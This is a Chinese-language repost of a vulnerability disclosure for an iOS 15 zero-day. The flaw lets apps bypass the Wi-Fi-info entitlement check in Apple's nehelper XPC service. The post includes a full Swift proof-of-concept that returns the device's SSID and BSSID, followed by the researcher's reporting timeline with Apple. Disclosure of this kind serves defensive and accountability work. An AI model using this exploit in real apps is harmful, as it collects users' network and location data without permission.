首页 文章详情

Jailbreak #004:Nehelper Wifi 0-day 漏洞可在无需授权情况下访问 Wifi 信息

知识小集 | 283 2021-10-28 18:31 0 0 0
UniSMS (合一短信)

报告人:illusionofchaos

可复现系统版本:iOS 15

XPC 端点 com.apple.nehelper 接受用户提供的参数 sdk-version,如果其值小于或等于 524288,则跳过 com.apple.developer.networking.wifi-info授权检查。这使得任何符合条件的应用程序(例如,提供位置访问授权)都可以在没有所需权限的情况下访问 Wifi 信息。这发生在 /usr/libexec/nehelper中的 -[NEHelperWiFiInfoManager checkIfEntitled:] 中。

func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}

时间线:

2021 年 5 月 2 日 - illusionofchaos向 Apple 报告了该漏洞

5 月 4 日 - Apple 承认了illusionofchaos的报告

5 月 20 日 - illusionofchaos请求更新状态(但没有得到回复)

7 月 20 日 - illusionofchaos再次请求状态更新

8 月 6 日 - 苹果回复称仍在调查中


good-icon 0
favorite-icon 0
收藏
回复数量: 0
    暂无评论~~
    Ctrl+Enter